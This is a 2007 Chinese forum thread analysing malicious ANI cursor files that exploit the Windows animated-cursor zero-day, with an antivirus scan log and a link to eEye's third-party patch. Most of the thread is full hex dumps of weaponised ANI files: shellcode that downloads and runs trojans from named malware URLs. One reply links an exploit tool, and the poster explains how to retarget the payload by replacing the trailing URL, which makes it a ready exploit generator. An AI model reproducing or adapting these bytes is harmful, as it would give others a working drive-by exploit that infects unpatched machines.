【分享】利用MS鼠标零日漏洞的网页(Exploit-ANIfile.c)的分析与漏洞补丁

503165656

【分享】利用MS鼠标零日漏洞的网页(Exploit-ANIfile.c)的分析与漏洞补丁

fuck2.jpg
在尾加入了一个 下在马的网址

http://www.hackoicq.com/lookrun/svchost.exe  
http://hacker.80069.cn/wawa/js.exe


以下是4个,Exploit-ANIfile.c的16进文本, 首部大体一样,在 06 FE FF FF 后为马的网址

===
52 49 46 46 13 03 00 00 41 43 4F 4E 61 6E 69 68 24 00 00 00 24 00 00 00 FF FF 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 54 53 49 4C 03 00 00 00 00 00 00 00 54 53 49 4C 04 00 00 00 02 02 02 02 61 6E 69 68 52 00 00 00 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 00 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA 25 8B EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03 00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00 00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4 3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21 01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01 83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0 3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3 80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 6C 6D EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68 6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08 C3 68 33 32 00 00 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8 E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00 00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00 83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E 0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E 8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05 78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3B 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E 8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF FF 68 74 74 70 3A 2F 2F 77 77 77 2E 68 61 63 6B 6F 69 63 71 2E 63 6F 6D 2F 6C 6F 6F 6B 72 75 6E 2F 73 76 63 68 6F 73 74 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==
52 49 46 46 13 03 00 00 41 43 4F 4E 61 6E 69 68 24 00 00 00 24 00 00 00 FF FF 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 54 53 49 4C 03 00 00 00 00 00 00 00 54 53 49 4C 04 00 00 00 02 02 02 02 61 6E 69 68 52 00 00 00 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 00 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA BA 25 EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03 00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00 00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4 3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21 01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01 83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0 3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3 80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 6C 6D EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68 6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08 C3 68 33 32 00 00 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8 E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00 00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00 83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E 0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E 8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05 78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3B 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E 8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF 77 77 77 2E 68 61 63 6B 6F 69 63 71 2E 63 6F 6D 2F 6C 6F 6F 6B 72 75 6E 2F 73 76 63 68 6F 73 74 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
===
52 49 46 46 13 03 00 00 41 43 4F 4E 61 6E 69 68 24 00 00 00 24 00 00 00 FF FF 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 54 53 49 4C 03 00 00 00 00 00 00 00 54 53 49 4C 04 00 00 00 02 02 02 02 61 6E 69 68 52 00 00 00 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 00 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA 25 8B EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03 00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00 00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4 3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21 01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01 83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0 3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3 80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 6C 6D EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68 6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08 C3 68 33 32 00 00 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8 E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00 00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00 83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E 0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E 8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05 78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3B 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E 8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF FF 68 74 74 70 3A 2F 2F 68 61 63 6B 65 72 2E 38 30 30 36 39 2E 63 6E 2F 77 61 77 61 2F 6A 73 2E 65 78 65 00
=============
52 49 46 46 13 03 00 00 41 43 4F 4E 61 6E 69 68 24 00 00 00 24 00 00 00 FF FF 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 54 53 49 4C 03 00 00 00 00 00 00 00 54 53 49 4C 04 00 00 00 02 02 02 02 61 6E 69 68 52 00 00 00 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 00 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA BA 25 EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03 00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00 00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4 3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21 01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01 83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0 3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3 80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 6C 6D EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68 6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08 C3 68 33 32 00 00 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8 E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00 00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00 83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E 0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E 8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05 78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3B 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E 8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF FF 68 74 74 70 3A 2F 2F 68 61 63 6B 65 72 2E 38 30 30 36 39 2E 63 6E 2F 77 61 77 61 2F 6A 73 2E 65 78 65 00

=======












----------
              [凝逸反毒] (http://hi.baidu.com/503165656)
       [扫描病毒-日志]       2007.4.1 0:16:13
文件:C:\1\Exploit-ANIfile.c\3a[1].jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\3a[1].jpg | 感染:病毒(A_280)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\3b[1].jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\3b[1].jpg | 感染:病毒(A_283)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\fuck2.jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\fuck2.jpg | 感染:病毒(A_281)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\ss2.jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\ss2.jpg | 感染:病毒(A_281)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\ss1.jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\ss1.jpg | 感染:病毒(A_279)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\fuck1.jpg | 感染:尾毒MS鼠标零日漏洞(C_4)
操作:删除C毒成功
文件:C:\1\Exploit-ANIfile.c\fuck1.jpg | 感染:病毒(A_279)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\ss1.jpg[首] | 感染:MS鼠标零日漏洞(Exploit-ANIfile.c)(A_271)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\fuck1.jpg首 | 感染:MS鼠标零日漏洞(Exploit-ANIfile.c)(A_271)
操作:删除文件
文件:C:\1\Exploit-ANIfile.c\fuck2.jpg首 | 感染:MS鼠标零日漏洞(Exploit-ANIfile.c)(A_272)
操作:删除文件

扫描完成|病毒:15 文件:9|耗时:2273
----------



在驱动网上版主贴出了第三方补丁
给个链接http://research.eeye.com/html/alerts/zeroday/20070328.html  （英文）
或直接下载http://www.eeye.com/html/research/tools/WindowsANIZeroDayPatchSetup.exe （软件也是英文 不过安装一样 都是一路下一步next）


===============

[ 本帖最后由 503165656 于 2007-4-1 09:08 编辑 ]

金剑

http://www.v0day.com/0day.exe
漏洞利用工具

503165656

生成器就是把 后面的网址改为自定的网址

52 49 46 46 13 03 00 00 41 43 4F 4E 61 6E 69 68 24 00 00 00 24 00 00 00 FF FF 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 54 53 49 4C 03 00 00 00 00 00 00 00 54 53 49 4C 04 00 00 00 02 02 02 02 61 6E 69 68 52 00 00 00 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 30 31 32 33 00 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BA 25 8B EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03 00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00 00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4 3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21 01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01 83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0 3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3 80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 6C 6D EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68 6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08 C3 68 33 32 00 00 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8 E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00 00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00 83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E 0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E 8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05 78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3B 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E 8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF FF 68 74 74 70 3A 2F 2F 68 61 63 6B 65 72 2E 38 30 30 36 39 2E 63 6E 2F 77 61 77 61 2F 6A 73 2E 65 78 65 00